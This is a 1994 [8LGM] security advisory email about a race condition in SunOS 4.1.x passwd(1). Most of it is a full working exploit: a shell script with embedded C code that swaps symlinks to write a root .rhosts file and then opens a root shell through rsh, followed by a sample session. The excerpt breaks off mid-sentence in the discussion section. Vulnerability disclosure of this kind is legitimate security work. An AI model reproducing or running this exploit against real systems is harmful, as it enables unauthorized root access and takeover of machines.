=========================================================================== From daemon@bagpuss.demon.co.uk Fri May 13 06:47:37 1994 Received: from post.demon.co.uk by hron.ef.tuke.sk with SMTP id AA20639 (5.65c/IDA-1.4.4 for ); Fri, 13 May 1994 06:46:34 +0200 Received: from bagpuss.demon.co.uk by post.demon.co.uk id aa02071; 13 May 94 5:32 GMT-60:00 Received: (daemon@localhost) by bagpuss.demon.co.uk (99.9/99.9) id FAA04600; Fri, 13 May 1994 05:31:40 +0100 Received: (8lgm@localhost) by bagpuss.demon.co.uk (99.9/99.9) id FAA04500; Fri, 13 May 1994 05:24:59 +0100 Date: Fri, 13 May 1994 05:24:59 +0100 From: "[8LGM] Security Team" <8lgm@bagpuss.demon.co.uk> Message-Id: <199405130424.FAA04500@bagpuss.demon.co.uk> To: 8lgm-advisories@bagpuss.demon.co.uk, security-alert@sun.com Subject: [8lgm]-Advisory-7.UNIX.passwd.11-May-1994 Status: OR This advisory has been sent to: comp.security.unix BUGTRAQ CERT/CC Sun Microsystems =========================================================================== [8lgm]-Advisory-7.UNIX.passwd.11-May-1994 PROGRAM: passwd(1) (/usr/bin/passwd) VULNERABLE OS's: SunOS 4.1.x DESCRIPTION: passwd(1) allows any user to specify the password file to be used (passwd(1) updates the file as root.) Using a program which changes the absolute path of this passwd file at carefully selected points during the execution of passwd(1), changes can be written to a directory of our choice. IMPACT: Any user with access to passwd(1) can become root. REPEAT BY: This example demonstrates how to become root on affected machines by creating an .rhosts file for root. Please do not do this unless you have permission. Create the following file, 'passwdscript': 8<--------------------------- cut here ---------------------------- #!/bin/sh # # Syntax: passwdscript target-user # # This exploits a flaw in SunOS passwd(1), and attempts # to become the specified 'user', by creating a .rhosts # file and using rsh. # # Written 1994 by [8LGM] # Please do not use this script without permission. # PATH=/usr/ucb:/usr/bin:/bin export PATH IFS=" " export IFS PROG="`basename $0`" # Check args if [ $# -ne 1 ]; then echo "Syntax: $PROG user target-file rsh-user" exit 1 fi TARGET_USER="$1" # Check we're on SunOS if [ "x`uname -s`" != "xSunOS" ]; then echo "Sorry, this only works on SunOS" exit 1 fi # Make the race program cat >passwdrace.c << 'EOF' #include #include #include #include #include #include #include main(argc, argv) int argc; char *argv[]; { FILE *passwd_in, *passwd_out; int race_child_pid = -1; struct stat st; struct passwd *pw; char pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256], buf[1024], cmd[256], nowhere[256], nowhere2[256], dir[256]; if (argc != 2) { fprintf(stderr, "Usage: %s target-user\n", argv[0]); exit(1); } /* * Get Target User info */ if ((pw = getpwnam(argv[1])) == NULL) { fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n", argv[0], argv[1]); exit(1); } strcpy(dir, pw->pw_dir); /* * Set up names for directories/links we will access */ sprintf(pwd_link, "/tmp/passwd-link.%d", getpid()); sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid()); sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid()); sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid()); sprintf(ptmp, "%s/ptmp", dir); symlink(pwd_dir, pwd_link); /* * Build temp password file in /tmp/passwd-dir.$$/.rhosts. * The bigger our 'passwd file', the longer passwd(1) takes * to write it out, the greater chance we have of noticing * it doing so and winning the race. */ mkdir(pwd_dir, 0700); sprintf(pwd_file, "%s/.rhosts", pwd_dir); if ((passwd_out = fopen(pwd_file, "w+")) == NULL) { fprintf(stderr, "Cant open %s!\n", pwd_file); exit(1); } if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) { fprintf(stderr, "Cant open /etc/passwd\n"); exit(1); } if ((pw = getpwuid(getuid())) == NULL) { fprintf(stderr, "Who are you?\n"); exit(1); } fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name); for (;;) { fseek(passwd_in, 0L, SEEK_SET); while(fgets(buf, sizeof(buf), passwd_in)) fputs(buf, passwd_out); if (ftell(passwd_out) > 32768) break; } fclose(passwd_in); fflush(passwd_out); /* * Fork a new process. In the parent, run passwd -F. * In the child, run the race process(es). */ if ((race_child_pid = fork()) < 0) { perror("fork"); exit(1); } if (race_child_pid) { /* * Parent - run passwd -F */ sprintf(pwd_file, "%s/.rhosts", pwd_link); puts("Wait until told you see \"Enter your password now!\""); sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file); system(cmd); kill(race_child_pid, 9); exit(0); } else { /* * Child */ int fd = fileno(passwd_out); time_t last_access; /* * Remember the current 'last accessed' * time for our password file. Once this * changes it, we know passwd(1) is reading * it, and we can switch the symlink. */ if (fstat(fd, &st)) { perror("fstat"); exit(1); } last_access = st.st_atime; /* * Give passwd(1) a chance to start up. * and do its initialisations. Hopefully * by now, its asked the user for their * password. */ sleep(5); write(0, "Enter your password now!\n", sizeof("Enter your password now!\n")); /* * Link our directory to our target directory */ unlink(pwd_link); symlink(dir, pwd_link); /* * Create two links pointing to nowhere. * We use rename(2) to switch these in later. * (Using unlink(2)/symlink(2) is too slow). */ symlink(pwd_dir, nowhere); symlink(dir, nowhere2); /* * Wait until ptmp exists in our target * dir, then switch the link. */ while ((open(ptmp, O_RDONLY)==-1)); rename(nowhere, pwd_link); /* * Wait until passwd(1) has accessed our * 'password file', then switch the link. */ while (last_access == st.st_atime) fstat(fd, &st); rename(nowhere2, pwd_link); } } EOF cc -O -o passwdrace passwdrace.c # Check we now have passwdrace if [ ! -x "passwdrace" ]; then echo "$PROG: couldnt compile passwdrace.c - check it out" exit 1 fi # Start passwdrace ./passwdrace $TARGET_USER # Try to rsh rsh localhost -l $TARGET_USER sh -i exit 0 8<--------------------------- cut here ---------------------------- (Lines marked with > represent user input) > % chmod 700 passwdscript > % ./passwdscript root Wait until told you see "Enter your password now!" Changing password for nmw on somesun. Old password:Enter your password now! > mypassword > New password: mypassword > Retype new password: mypassword # You must wait for the signal "Enter your password now!" before you type your password, or you will not win the race. Your password will not echo as you type it. DISCUSSION: A discussion in bug-traq alerted us to the fact that passwd could be used to read any file on the system. It was clear however that the behaviour of passwd(1) as stated would indeed allow arbitrary files to be created around the file system. The program creating the symbolic links waits for various events to occur, switching the link between the directory which contains our data file, and our desired target directory. Occasionally you will loose the race; the symptom of this is that a 'ptmp' file is created and left in your target directory. Once this has occurred, future attempts to use the script to write to the same directory wil